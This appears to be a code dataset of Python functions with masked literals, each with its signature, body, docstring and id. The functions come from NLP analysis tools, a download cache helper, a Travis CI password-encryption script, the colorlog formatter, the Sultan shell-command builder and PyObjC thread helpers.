{"signature": "def analyze(self, output_folder=\"<STR_LIT:.>\", auto_remove=False):", "body": "if auto_remove:<EOL><INDENT>try:<EOL><INDENT>shutil.rmtree(output_folder)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>try:<EOL><INDENT>mkdir(output_folder)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>tokens = [token for sublist in self.sentences for token in sublist]<EOL>df = pd.DataFrame(tokens)<EOL>log = u\"<STR_LIT>\"<EOL>log += u\"<STR_LIT>\".format(len(self.sentences))<EOL>n = df.shape[<NUM_LIT:1>]<EOL>log += self._analyze_first_token(df, <NUM_LIT:0>, output_folder)<EOL>for i in range(<NUM_LIT:1>, n):<EOL><INDENT>log += self._analyze_field(df, i, output_folder)<EOL><DEDENT>print(log)<EOL>stat_file = join(output_folder, \"<STR_LIT>\")<EOL>write(stat_file, log)<EOL>", "docstring": ":type auto_remove: boolean\n:param boolean auto_remove: auto remove previous files in analyze folder", "id": "f10260:c0:m6"}
{"signature": "def serve(self, port=<NUM_LIT>):", "body": "from http.server import HTTPServer, CGIHTTPRequestHandler<EOL>os.chdir(self.log_folder)<EOL>httpd = HTTPServer(('<STR_LIT>', port), CGIHTTPRequestHandler)<EOL>print(\"<STR_LIT>\" + str(httpd.server_port))<EOL>webbrowser.open('<STR_LIT>'.format(port))<EOL>httpd.serve_forever()<EOL>", "docstring": "Start LanguageBoard web application\n\n        Parameters\n        ----------\n        port: int\n            port to serve web application", "id": "f10261:c0:m1"}
{"signature": "def load_big_file(f):", "body": "logger.info(f'<STR_LIT>')<EOL>with open(f, '<STR_LIT>') as f_in:<EOL><INDENT>bf = mmap.mmap(f_in.fileno(), <NUM_LIT:0>)<EOL>f_in.close()<EOL><DEDENT>return bf<EOL>", "docstring": "Workaround for loading a big pickle file. Files over 2GB cause pickle errors on certin Mac and Windows distributions.\n:param f:\n:return:", "id": "f10262:m0"}
{"signature": "def url_to_filename(url: str, etag: str = None) -> str:", "body": "url_bytes = url.encode('<STR_LIT:utf-8>')<EOL>b64_bytes = base64.b64encode(url_bytes)<EOL>decoded = b64_bytes.decode('<STR_LIT:utf-8>')<EOL>if etag:<EOL><INDENT>etag = etag.replace('<STR_LIT:\">', '<STR_LIT>')<EOL>return f\"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>return decoded<EOL><DEDENT>", "docstring": "Converts a url into a filename in a reversible way.\nIf `etag` is specified, add it on the end, separated by a period\n(which necessarily won't appear in the base64-encoded filename).\nGet rid of the quotes in the etag, since Windows doesn't like them.", "id": "f10262:m1"}
{"signature": "def filename_to_url(filename: str) -> Tuple[str, str]:", "body": "try:<EOL><INDENT>decoded, etag = filename.split(\"<STR_LIT:.>\", <NUM_LIT:1>)<EOL><DEDENT>except ValueError:<EOL><INDENT>decoded, etag = filename, None<EOL><DEDENT>filename_bytes = decoded.encode('<STR_LIT:utf-8>')<EOL>url_bytes = base64.b64decode(filename_bytes)<EOL>return url_bytes.decode('<STR_LIT:utf-8>'), etag<EOL>", "docstring": "Recovers the the url from the encoded filename. Returns it and the ETag\n(which may be ``None``)", "id": "f10262:m2"}
{"signature": "def cached_path(url_or_filename: str, cache_dir: Path) -> Path:", "body": "dataset_cache = Path(CACHE_ROOT) / cache_dir<EOL>parsed = urlparse(url_or_filename)<EOL>if parsed.scheme in ('<STR_LIT:http>', '<STR_LIT>'):<EOL><INDENT>return get_from_cache(url_or_filename, dataset_cache)<EOL><DEDENT>elif parsed.scheme == '<STR_LIT>' and Path(url_or_filename).exists():<EOL><INDENT>return Path(url_or_filename)<EOL><DEDENT>elif parsed.scheme == '<STR_LIT>':<EOL><INDENT>raise FileNotFoundError(\"<STR_LIT>\".format(url_or_filename))<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(url_or_filename))<EOL><DEDENT>", "docstring": "Given something that might be a URL (or might be a local path),\ndetermine which. If it's a URL, download the file and cache it, and\nreturn the path to the cached file. If it's already a local path,\nmake sure the file exists and then return the path.", "id": "f10262:m3"}
{"signature": "def get_from_cache(url: str, cache_dir: Path = None) -> Path:", "body": "cache_dir.mkdir(parents=True, exist_ok=True)<EOL>filename = re.sub(r'<STR_LIT>', '<STR_LIT>', url)<EOL>cache_path = cache_dir / filename<EOL>if cache_path.exists():<EOL><INDENT>return cache_path<EOL><DEDENT>response = requests.head(url)<EOL>if response.status_code != <NUM_LIT:200>:<EOL><INDENT>if \"<STR_LIT>\" in url:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>raise IOError(\"<STR_LIT>\".format(url))<EOL><DEDENT><DEDENT>if not cache_path.exists():<EOL><INDENT>fd, temp_filename = tempfile.mkstemp()<EOL>logger.info(\"<STR_LIT>\", url, temp_filename)<EOL>req = requests.get(url, stream=True)<EOL>content_length = req.headers.get('<STR_LIT>')<EOL>total = int(content_length) if content_length is not None else None<EOL>progress = Tqdm.tqdm(unit=\"<STR_LIT:B>\", total=total)<EOL>with open(temp_filename, '<STR_LIT:wb>') as temp_file:<EOL><INDENT>for chunk in req.iter_content(chunk_size=<NUM_LIT>):<EOL><INDENT>if chunk: <EOL><INDENT>progress.update(len(chunk))<EOL>temp_file.write(chunk)<EOL><DEDENT><DEDENT><DEDENT>progress.close()<EOL>logger.info(\"<STR_LIT>\", temp_filename, cache_path)<EOL>shutil.copyfile(temp_filename, str(cache_path))<EOL>logger.info(\"<STR_LIT>\", temp_filename)<EOL>os.close(fd)<EOL>os.remove(temp_filename)<EOL><DEDENT>return cache_path<EOL>", "docstring": "Given a URL, look for the corresponding dataset in the local cache.\nIf it's not there, download it. Then return the path to the cached file.", "id": "f10262:m4"}
{"signature": "@staticmethod<EOL><INDENT>def set_slower_interval(use_slower_interval: bool) -> None:<DEDENT>", "body": "if use_slower_interval:<EOL><INDENT>Tqdm.default_mininterval = <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>Tqdm.default_mininterval = <NUM_LIT:0.1><EOL><DEDENT>", "docstring": "If ``use_slower_interval`` is ``True``, we will dramatically slow down ``tqdm's`` default\noutput rate.  ``tqdm's`` default output rate is great for interactively watching progress,\nbut it is not great for log files.  You might want to set this if you are primarily going\nto be looking at output through log files, not the terminal.", "id": "f10262:c0:m1"}
{"signature": "def _flat(l):", "body": "return [item[<NUM_LIT:0>] for item in l]<EOL>", "docstring": ":type l: list of list", "id": "f10269:m0"}
{"signature": "def fit_transform(self, raw_documents, y=None):", "body": "documents = super(TfidfVectorizer, self).fit_transform(<EOL>raw_documents=raw_documents, y=y)<EOL>count = CountVectorizer(encoding=self.encoding,<EOL>decode_error=self.decode_error,<EOL>strip_accents=self.strip_accents,<EOL>lowercase=self.lowercase,<EOL>preprocessor=self.preprocessor,<EOL>tokenizer=self.tokenizer,<EOL>stop_words=self.stop_words,<EOL>token_pattern=self.token_pattern,<EOL>ngram_range=self.ngram_range,<EOL>analyzer=self.analyzer,<EOL>max_df=self.max_df,<EOL>min_df=self.min_df,<EOL>max_features=self.max_features,<EOL>vocabulary=self.vocabulary_,<EOL>binary=self.binary,<EOL>dtype=self.dtype)<EOL>count.fit_transform(raw_documents=raw_documents, y=y)<EOL>self.period_ = count.period_<EOL>self.df_ = count.df_<EOL>self.n = count.n<EOL>return documents<EOL>", "docstring": "Learn vocabulary and idf, return term-document matrix.\n        This is equivalent to fit followed by transform, but more efficiently\n        implemented.\n        Parameters\n        ----------\n        raw_documents : iterable\n            an iterable which yields either str, unicode or file objects\n        Returns\n        -------\n        X : sparse matrix, [n_samples, n_features]\n            Tf-idf-weighted document-term matrix.", "id": "f10270:c0:m1"}
{"signature": "def transform(self, raw_documents):", "body": "return [self._remove(document) for document in raw_documents]<EOL>", "docstring": "Remove number in each document\n\nParameters\n----------\nraw_documents : iterable\n    An iterable which yields either str, unicode\n\nReturns\n-------\nX : iterable\n    cleaned documents", "id": "f10273:c0:m2"}
{"signature": "def Text(text):", "body": "if not is_unicode(text):<EOL><INDENT>text = text.decode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>text = unicodedata.normalize(\"<STR_LIT>\", text)<EOL>return text<EOL>", "docstring": "provide a wrapper for python string\n    map byte to str (python 3)\n    map str to unicode (python 2)\n    all string in utf-8 encoding\n    normalize string to NFC", "id": "f10274:m0"}
{"signature": "def fit_transform(self, raw_documents, y=None):", "body": "documents = super(CountVectorizer, self).fit_transform(<EOL>raw_documents=raw_documents, y=y)<EOL>self.n = len(raw_documents)<EOL>m = (self.transform(raw_documents) > <NUM_LIT:0>).astype(int)<EOL>m = m.sum(axis=<NUM_LIT:0>).A1<EOL>self.period_ = m<EOL>self.df_ = m / self.n<EOL>return documents<EOL>", "docstring": "Learn the vocabulary dictionary and return term-document matrix.\n        This is equivalent to fit followed by transform, but more efficiently\n        implemented.\n\n        Parameters\n        ----------\n        raw_documents : iterable\n            An iterable which yields either str, unicode or file objects.\n\n        Returns\n        -------\n        X : array, [n_samples, n_features]\n            Document-term matrix.", "id": "f10276:c0:m1"}
{"signature": "def load_key(pubkey):", "body": "try:<EOL><INDENT>return load_pem_public_key(pubkey.encode(), default_backend())<EOL><DEDENT>except ValueError:<EOL><INDENT>pubkey = pubkey.replace('<STR_LIT>', '<STR_LIT>').replace('<STR_LIT>', '<STR_LIT>')<EOL>return load_pem_public_key(pubkey.encode(), default_backend())<EOL><DEDENT>", "docstring": "Load public RSA key.\n\n    Work around keys with incorrect header/footer format.\n\n    Read more about RSA encryption with cryptography:\n    https://cryptography.io/latest/hazmat/primitives/asymmetric/rsa/", "id": "f10279:m0"}
{"signature": "def encrypt(pubkey, password):", "body": "key = load_key(pubkey)<EOL>encrypted_password = key.encrypt(password, PKCS1v15())<EOL>return base64.b64encode(encrypted_password)<EOL>", "docstring": "Encrypt password using given RSA public key and encode it with base64.\n\n    The encrypted password can only be decrypted by someone with the\n    private key (in this case, only Travis).", "id": "f10279:m1"}
{"signature": "def fetch_public_key(repo):", "body": "keyurl = '<STR_LIT>'.format(repo)<EOL>data = json.loads(urlopen(keyurl).read().decode())<EOL>if '<STR_LIT:key>' not in data:<EOL><INDENT>errmsg = \"<STR_LIT>\".format(repo)<EOL>errmsg += \"<STR_LIT>\"<EOL>raise ValueError(errmsg)<EOL><DEDENT>return data['<STR_LIT:key>']<EOL>", "docstring": "Download RSA public key Travis will use for this repo.\n\n    Travis API docs: http://docs.travis-ci.com/api/#repository-keys", "id": "f10279:m2"}
{"signature": "def prepend_line(filepath, line):", "body": "with open(filepath) as f:<EOL><INDENT>lines = f.readlines()<EOL><DEDENT>lines.insert(<NUM_LIT:0>, line)<EOL>with open(filepath, '<STR_LIT:w>') as f:<EOL><INDENT>f.writelines(lines)<EOL><DEDENT>", "docstring": "Rewrite a file adding a line to its beginning.", "id": "f10279:m3"}
{"signature": "def load_yaml_config(filepath):", "body": "with open(filepath) as f:<EOL><INDENT>return yaml.load(f)<EOL><DEDENT>", "docstring": "Load yaml config file at the given path.", "id": "f10279:m4"}
{"signature": "def save_yaml_config(filepath, config):", "body": "with open(filepath, '<STR_LIT:w>') as f:<EOL><INDENT>yaml.dump(config, f, default_flow_style=False)<EOL><DEDENT>", "docstring": "Save yaml config file at the given path.", "id": "f10279:m5"}
{"signature": "def update_travis_deploy_password(encrypted_password):", "body": "config = load_yaml_config(TRAVIS_CONFIG_FILE)<EOL>config['<STR_LIT>']['<STR_LIT:password>'] = dict(secure=encrypted_password)<EOL>save_yaml_config(TRAVIS_CONFIG_FILE, config)<EOL>line = ('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>prepend_line(TRAVIS_CONFIG_FILE, line)<EOL>", "docstring": "Put `encrypted_password` into the deploy section of .travis.yml.", "id": "f10279:m6"}
{"signature": "def main(args):", "body": "public_key = fetch_public_key(args.repo)<EOL>password = args.password or getpass('<STR_LIT>')<EOL>update_travis_deploy_password(encrypt(public_key, password.encode()))<EOL>print(\"<STR_LIT>\")<EOL>", "docstring": "Add a PyPI password to .travis.yml so that Travis can deploy to PyPI.\n\n    Fetch the Travis public key for the repo, and encrypt the PyPI password\n    with it before adding, so that only Travis can decrypt and use the PyPI\n    password.", "id": "f10279:m7"}
{"signature": "def basicConfig(**kwargs):", "body": "logging.basicConfig(**kwargs)<EOL>logging._acquireLock()<EOL>try:<EOL><INDENT>stream = logging.root.handlers[<NUM_LIT:0>]<EOL>stream.setFormatter(<EOL>ColoredFormatter(<EOL>fmt=kwargs.get('<STR_LIT>', BASIC_FORMAT),<EOL>datefmt=kwargs.get('<STR_LIT>', None)))<EOL><DEDENT>finally:<EOL><INDENT>logging._releaseLock()<EOL><DEDENT>", "docstring": "Call ``logging.basicConfig`` and override the formatter it creates.", "id": "f10288:m0"}
{"signature": "def ensure_configured(func):", "body": "@functools.wraps(func)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>if len(logging.root.handlers) == <NUM_LIT:0>:<EOL><INDENT>basicConfig()<EOL><DEDENT>return func(*args, **kwargs)<EOL><DEDENT>return wrapper<EOL>", "docstring": "Modify a function to call ``basicConfig`` first if no handlers exist.", "id": "f10288:m1"}
{"signature": "def __init__(self, fmt=None, datefmt=None, style='<STR_LIT:%>',<EOL>log_colors=None, reset=True,<EOL>secondary_log_colors=None):", "body": "if fmt is None:<EOL><INDENT>if sys.version_info > (<NUM_LIT:3>, <NUM_LIT:2>):<EOL><INDENT>fmt = default_formats[style]<EOL><DEDENT>else:<EOL><INDENT>fmt = default_formats['<STR_LIT:%>']<EOL><DEDENT><DEDENT>if sys.version_info > (<NUM_LIT:3>, <NUM_LIT:2>):<EOL><INDENT>super(ColoredFormatter, self).__init__(fmt, datefmt, style)<EOL><DEDENT>elif sys.version_info > (<NUM_LIT:2>, <NUM_LIT:7>):<EOL><INDENT>super(ColoredFormatter, self).__init__(fmt, datefmt)<EOL><DEDENT>else:<EOL><INDENT>logging.Formatter.__init__(self, fmt, datefmt)<EOL><DEDENT>self.log_colors = (<EOL>log_colors if log_colors is not None else default_log_colors)<EOL>self.secondary_log_colors = secondary_log_colors<EOL>self.reset = reset<EOL>", "docstring": "Set the format and colors the ColoredFormatter will use.\n\nThe ``fmt``, ``datefmt`` and ``style`` args are passed on to the\n``logging.Formatter`` constructor.\n\nThe ``secondary_log_colors`` argument can be used to create additional\n``log_color`` attributes. Each key in the dictionary will set\n``{key}_log_color``, using the value to select from a different\n``log_colors`` set.\n\n:Parameters:\n- fmt (str): The format string to use\n- datefmt (str): A format string for the date\n- log_colors (dict):\n    A mapping of log level names to color names\n- reset (bool):\n    Implictly append a color reset to all records unless False\n- style ('%' or '{' or '$'):\n    The format style to use. (*No meaning prior to Python 3.2.*)\n- secondary_log_colors (dict):\n    Map secondary ``log_color`` attributes. (*New in version 2.6.*)", "id": "f10289:c1:m0"}
{"signature": "def color(self, log_colors, name):", "body": "return parse_colors(log_colors.get(name, \"<STR_LIT>\"))<EOL>", "docstring": "Return escape codes from a ``log_colors`` dict.", "id": "f10289:c1:m1"}
{"signature": "def format(self, record):", "body": "record = ColoredRecord(record)<EOL>record.log_color = self.color(self.log_colors, record.levelname)<EOL>if self.secondary_log_colors:<EOL><INDENT>for name, log_colors in list(self.secondary_log_colors.items()):<EOL><INDENT>color = self.color(log_colors, record.levelname)<EOL>setattr(record, name + '<STR_LIT>', color)<EOL><DEDENT><DEDENT>if sys.version_info > (<NUM_LIT:2>, <NUM_LIT:7>):<EOL><INDENT>message = super(ColoredFormatter, self).format(record)<EOL><DEDENT>else:<EOL><INDENT>message = logging.Formatter.format(self, record)<EOL><DEDENT>if self.reset and not message.endswith(escape_codes['<STR_LIT>']):<EOL><INDENT>message += escape_codes['<STR_LIT>']<EOL><DEDENT>return message<EOL>", "docstring": "Format a message from a record object.", "id": "f10289:c1:m2"}
{"signature": "def __init__(self, fmt=None, datefmt=None, style='<STR_LIT:%>',<EOL>log_colors=None, reset=True,<EOL>secondary_log_colors=None):", "body": "if sys.version_info > (<NUM_LIT:2>, <NUM_LIT:7>):<EOL><INDENT>super(LevelFormatter, self).__init__(<EOL>fmt=fmt, datefmt=datefmt, style=style, log_colors=log_colors,<EOL>reset=reset, secondary_log_colors=secondary_log_colors)<EOL><DEDENT>else:<EOL><INDENT>ColoredFormatter.__init__(<EOL>self, fmt=fmt, datefmt=datefmt, style=style,<EOL>log_colors=log_colors, reset=reset,<EOL>secondary_log_colors=secondary_log_colors)<EOL><DEDENT>self.style = style<EOL>self.fmt = fmt<EOL>", "docstring": "Set the per-loglevel format that will be used.\n\nSupports fmt as a dict. All other args are passed on to the\n``colorlog.ColoredFormatter`` constructor.\n\n:Parameters:\n- fmt (dict):\n    A mapping of log levels (represented as strings, e.g. 'WARNING') to\n    different formatters. (*New in version 2.7.0)\n(All other parameters are the same as in colorlog.ColoredFormatter)\n\nExample:\n\nformatter = colorlog.LevelFormatter(fmt={\n    'DEBUG':'%(log_color)s%(msg)s (%(module)s:%(lineno)d)',\n    'INFO': '%(log_color)s%(msg)s',\n    'WARNING': '%(log_color)sWARN: %(msg)s (%(module)s:%(lineno)d)',\n    'ERROR': '%(log_color)sERROR: %(msg)s (%(module)s:%(lineno)d)',\n    'CRITICAL': '%(log_color)sCRIT: %(msg)s (%(module)s:%(lineno)d)',\n})", "id": "f10289:c2:m0"}
{"signature": "def format(self, record):", "body": "if isinstance(self.fmt, dict):<EOL><INDENT>self._fmt = self.fmt[record.levelname]<EOL>if sys.version_info > (<NUM_LIT:3>, <NUM_LIT:2>):<EOL><INDENT>if self.style not in logging._STYLES:<EOL><INDENT>raise ValueError('<STR_LIT>' % '<STR_LIT:U+002C>'.join(<EOL>list(logging._STYLES.keys())))<EOL><DEDENT>self._style = logging._STYLES[self.style][<NUM_LIT:0>](self._fmt)<EOL><DEDENT><DEDENT>if sys.version_info > (<NUM_LIT:2>, <NUM_LIT:7>):<EOL><INDENT>message = super(LevelFormatter, self).format(record)<EOL><DEDENT>else:<EOL><INDENT>message = ColoredFormatter.format(self, record)<EOL><DEDENT>return message<EOL>", "docstring": "Customize the message format based on the log level.", "id": "f10289:c2:m1"}
{"signature": "def parse_colors(sequence):", "body": "return '<STR_LIT>'.join(escape_codes[n] for n in sequence.split('<STR_LIT:U+002C>') if n)<EOL>", "docstring": "Return escape codes from a color sequence.", "id": "f10290:m1"}
{"signature": "def path(filename):", "body": "return os.path.join(os.path.dirname(os.path.realpath(__file__)), filename)<EOL>", "docstring": "Return an absolute path to a file in the current directory.", "id": "f10293:m0"}
{"signature": "def assert_log_message(log_function, message, capsys):", "body": "log_function(message)<EOL>out, err = capsys.readouterr()<EOL>print(err, end='<STR_LIT>', file=sys.stderr)<EOL>assert message in err, '<STR_LIT>'<EOL>return err<EOL>", "docstring": "Call a log function and check the message has been output.", "id": "f10294:m0"}
{"signature": "@property<EOL><INDENT>def stdout(self):<DEDENT>", "body": "if self._streaming:<EOL><INDENT>stdout = []<EOL>while not self.__stdout.empty():<EOL><INDENT>try:<EOL><INDENT>line = self.__stdout.get_nowait()<EOL>stdout.append(line)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>stdout =  self.__stdout<EOL><DEDENT>return stdout<EOL>", "docstring": "Converts stdout string to a list.", "id": "f10302:c0:m10"}
{"signature": "@property<EOL><INDENT>def stderr(self):<DEDENT>", "body": "if self._streaming:<EOL><INDENT>stderr = []<EOL>while not self.__stderr.empty():<EOL><INDENT>try:<EOL><INDENT>line = self.__stderr.get_nowait()<EOL>stderr.append(line)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>stderr = self.__stderr<EOL><DEDENT>return stderr<EOL>", "docstring": "Converts stderr string to a list.", "id": "f10302:c0:m11"}
{"signature": "def stdin(self, line):", "body": "if self._streaming:<EOL><INDENT>self.__stdin.put(line)<EOL><DEDENT>", "docstring": "Sends input to stdin.", "id": "f10302:c0:m12"}
{"signature": "@property<EOL><INDENT>def traceback(self):<DEDENT>", "body": "if self._exception:<EOL><INDENT>return traceback.format_exc().split(\"<STR_LIT:\\n>\")<EOL><DEDENT>else:<EOL><INDENT>return []<EOL><DEDENT>", "docstring": "Converts traceback string to a list.", "id": "f10302:c0:m13"}
{"signature": "@property<EOL><INDENT>def is_success(self):<DEDENT>", "body": "return self.is_complete and self.rc == <NUM_LIT:0><EOL>", "docstring": "Returns if the result of the command was a success.\nTrue for success, False for failure.", "id": "f10302:c0:m14"}
{"signature": "@property<EOL><INDENT>def is_failure(self):<DEDENT>", "body": "return self.is_complete and not self.rc == <NUM_LIT:0><EOL>", "docstring": "Returns if the result of the command was a failure.\nTrue for failure, False for succes.", "id": "f10302:c0:m15"}
{"signature": "@property<EOL><INDENT>def has_exception(self):<DEDENT>", "body": "return bool(self._exception)<EOL>", "docstring": "Returns True if self._exception is not empty.", "id": "f10302:c0:m16"}
{"signature": "def print_stdout(self, always_print=False):", "body": "if self.__stdout or always_print:<EOL><INDENT>self.__echo.info(\"<STR_LIT>\" + \"<STR_LIT:->\" * <NUM_LIT:100>)<EOL>self.__format_lines_info(self.stdout)<EOL>self.__echo.info(\"<STR_LIT>\" + \"<STR_LIT:->\" * <NUM_LIT:100>)<EOL><DEDENT>", "docstring": "Prints the stdout to console - if there is any stdout, otherwise does nothing.\n:param always_print:   print the stdout, even if there is nothing in the buffer (default: false)", "id": "f10302:c0:m17"}
{"signature": "def print_stderr(self, always_print=False):", "body": "if self.__stderr or always_print:<EOL><INDENT>self.__echo.critical(\"<STR_LIT>\" + \"<STR_LIT:->\" * <NUM_LIT:100>)<EOL>self.__format_lines_error(self.stderr)<EOL>self.__echo.critical(\"<STR_LIT>\" + \"<STR_LIT:->\" * <NUM_LIT:100>)<EOL><DEDENT>", "docstring": "Prints the stderr to console - if there is any stdout, otherwise does nothing.\n:param always_print:   print the stderr, even if there is nothing in the buffer (default: false)", "id": "f10302:c0:m18"}
{"signature": "def print_traceback(self, always_print=False):", "body": "if self._exception or always_print:<EOL><INDENT>self.__echo.critical(\"<STR_LIT>\" + \"<STR_LIT:->\" * <NUM_LIT:100>)<EOL>self.__format_lines_error(self.traceback)<EOL>self.__echo.critical(\"<STR_LIT>\" + \"<STR_LIT:->\" * <NUM_LIT:100>)<EOL><DEDENT>", "docstring": "Prints the traceback to console - if there is any traceback, otherwise does nothing.\n:param always_print:   print the traceback, even if there is nothing in the buffer (default: false)", "id": "f10302:c0:m19"}
{"signature": "@property<EOL><INDENT>def current_context(self):<DEDENT>", "body": "return self._context[-<NUM_LIT:1>] if len(self._context) > <NUM_LIT:0> else {}<EOL>", "docstring": "Returns the context that Sultan is running on", "id": "f10303:c0:m2"}
{"signature": "def __enter__(self):", "body": "<EOL>if len(self._context) == <NUM_LIT:0>:<EOL><INDENT>raise InvalidContextError(\"<STR_LIT>\")<EOL><DEDENT>return self<EOL>", "docstring": "Sultan can be used with context using `with` blocks, as such:\n\n```python\n\nwith Sultan.load(cwd=\"/tmp\") as s:\n    s.ls(\"-lah\").run()\n```\n\nThis is easier to manage than doing the following::\n\n    s = Sultan()\n    s.cd(\"/tmp\").and_().ls(\"-lah\").run()\n\nThere are one-off times when running `s.cd(\"/tmp\").and_().ls(\"-lah\").run()` works better. However,\nif you have multiple commands to run in a given directory, using Sultan with context, allows your\ncode to be easy to manage.", "id": "f10303:c0:m3"}
{"signature": "def __exit__(self, type, value, traceback):", "body": "if len(self._context) > <NUM_LIT:0>:<EOL><INDENT>self._context.pop()<EOL><DEDENT>", "docstring": "Restores the context to previous context.", "id": "f10303:c0:m4"}
{"signature": "def run(self, halt_on_nonzero=True, quiet=False, q=False, streaming=False):", "body": "commands = str(self)<EOL>if not (quiet or q):<EOL><INDENT>self._echo.cmd(commands)<EOL><DEDENT>env = self._context[<NUM_LIT:0>].get('<STR_LIT>', {}) if len(self._context) > <NUM_LIT:0> else os.environ<EOL>executable = self.current_context.get('<STR_LIT>')<EOL>try:<EOL><INDENT>process = subprocess.Popen(commands,<EOL>bufsize=<NUM_LIT:1>,<EOL>shell=True,<EOL>env=env,<EOL>stdin=subprocess.PIPE,<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE,<EOL>executable=executable,<EOL>universal_newlines=True)<EOL>result = Result(process, commands, self._context, streaming, halt_on_nonzero=halt_on_nonzero)<EOL><DEDENT>except Exception as e:<EOL><INDENT>result = Result(None, commands, self._context, exception=e)<EOL>result.dump_exception()<EOL>if halt_on_nonzero:<EOL><INDENT>raise e<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>self.clear()<EOL><DEDENT>return result<EOL>", "docstring": "After building your commands, call `run()` to have your code executed.", "id": "f10303:c0:m8"}
{"signature": "def _add(self, command):", "body": "self.commands.append(command)<EOL>return self<EOL>", "docstring": "Private method that adds a custom command (see `pipe` and `and_`).\n\nNOT FOR PUBLIC USE", "id": "f10303:c0:m9"}
{"signature": "def __str__(self):", "body": "context = self.current_context<EOL>SPECIAL_CASES = (Pipe, And, Redirect, Or)<EOL>output = \"<STR_LIT>\"<EOL>for i, cmd in enumerate(self.commands):<EOL><INDENT>if (i == <NUM_LIT:0>):<EOL><INDENT>separator = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>if isinstance(cmd, SPECIAL_CASES):<EOL><INDENT>separator = \"<STR_LIT:U+0020>\"<EOL><DEDENT>else:<EOL><INDENT>if isinstance(self.commands[i - <NUM_LIT:1>], SPECIAL_CASES):<EOL><INDENT>separator = \"<STR_LIT:U+0020>\"<EOL><DEDENT>else:<EOL><INDENT>separator = \"<STR_LIT>\"<EOL><DEDENT><DEDENT><DEDENT>cmd_str = str(cmd)<EOL>output += separator + cmd_str<EOL><DEDENT>output = output.strip() + \"<STR_LIT:;>\"<EOL>cwd = context.get('<STR_LIT>')<EOL>if cwd:<EOL><INDENT>prepend = \"<STR_LIT>\" % (cwd)<EOL>output = prepend + output<EOL><DEDENT>src = context.get('<STR_LIT:src>')<EOL>if src:<EOL><INDENT>prepend = \"<STR_LIT>\" % (src)<EOL>output = prepend + output<EOL><DEDENT>sudo = context.get('<STR_LIT>')<EOL>user = context.get('<STR_LIT:user>')<EOL>if sudo:<EOL><INDENT>if user != getpass.getuser():<EOL><INDENT>output = \"<STR_LIT>\" % (user, output)<EOL><DEDENT>elif getpass.getuser() == '<STR_LIT:root>':<EOL><INDENT>output = \"<STR_LIT>\" % (user, output)<EOL><DEDENT>else:<EOL><INDENT>output = \"<STR_LIT>\" % (output)<EOL><DEDENT><DEDENT>ssh_config = context.get('<STR_LIT>')<EOL>hostname = context.get('<STR_LIT>')<EOL>if hostname:<EOL><INDENT>params = {<EOL>'<STR_LIT:user>': user,<EOL>'<STR_LIT>': hostname,<EOL>'<STR_LIT>': output, <EOL>'<STR_LIT>': '<STR_LIT>' % ssh_config if ssh_config else '<STR_LIT:U+0020>'<EOL>}<EOL>output = \"<STR_LIT>\" % (params)<EOL><DEDENT>return output<EOL>", "docstring": "Returns the chained commands that were built as a string.", "id": "f10303:c0:m11"}
{"signature": "def spit(self):", "body": "self._echo.log(str(self))<EOL>", "docstring": "Logs to the logger the command.", "id": "f10303:c0:m12"}
{"signature": "def pipe(self):", "body": "self._add(Pipe(self, '<STR_LIT:|>'))<EOL>return self<EOL>", "docstring": "Pipe commands in Sultan.\n\nUsage::\n\n    # runs: 'cat /var/log/foobar.log | grep 192.168.1.1'\n    s = Sultan()\n    s.cat(\"/var/log/foobar.log\").pipe().grep(\"192.168.1.1\").run()", "id": "f10303:c0:m13"}
{"signature": "def and_(self):", "body": "self._add(And(self, \"<STR_LIT>\"))<EOL>return self<EOL>", "docstring": "Combines multiple commands using `&&`.\n\nUsage::\n\n    # runs: 'cd /tmp && touch foobar.txt'\n    s = Sultan()\n    s.cd(\"/tmp\").and_().touch(\"foobar.txt\").run()", "id": "f10303:c0:m14"}
{"signature": "def or_(self):", "body": "self._add(Or(self, '<STR_LIT>'))<EOL>return self<EOL>", "docstring": "Combines multiple commands using `||`.\n\nUsage::\n\n    # runs: 'touch /tmp/foobar || echo \"Step Completed\"'\n    s = Sultan()\n    s.touch('/tmp/foobar').or_().echo(\"Step Completed\").run()", "id": "f10303:c0:m15"}
{"signature": "def validate_config(self):", "body": "<EOL>for key, key_config in self.params_map.items():<EOL><INDENT>if key_config['<STR_LIT>']:<EOL><INDENT>if key not in self.config:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT><DEDENT>for key in self.config.keys():<EOL><INDENT>if key not in self.params_map:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % key)<EOL><DEDENT><DEDENT>", "docstring": "Validates the provided config to make sure all the required fields are \nthere.", "id": "f10303:c7:m2"}
{"signature": "def callAfter(func, *args, **kwargs):", "body": "pool = NSAutoreleasePool.alloc().init()<EOL>obj = PyObjCAppHelperCaller_wrap.alloc().initWithArgs_((func, args, kwargs))<EOL>obj.callAfter_(None)<EOL>del obj<EOL>del pool<EOL>", "docstring": "call a function on the main thread (async)", "id": "f10308:m0"}
{"signature": "def callLater(delay, func, *args, **kwargs):", "body": "pool = NSAutoreleasePool.alloc().init()<EOL>obj = PyObjCAppHelperCaller_wrap.alloc().initWithArgs_((func, args, kwargs))<EOL>obj.callLater_(delay)<EOL>del obj<EOL>del pool<EOL>", "docstring": "call a function on the main thread after a delay (async)", "id": "f10308:m1"}
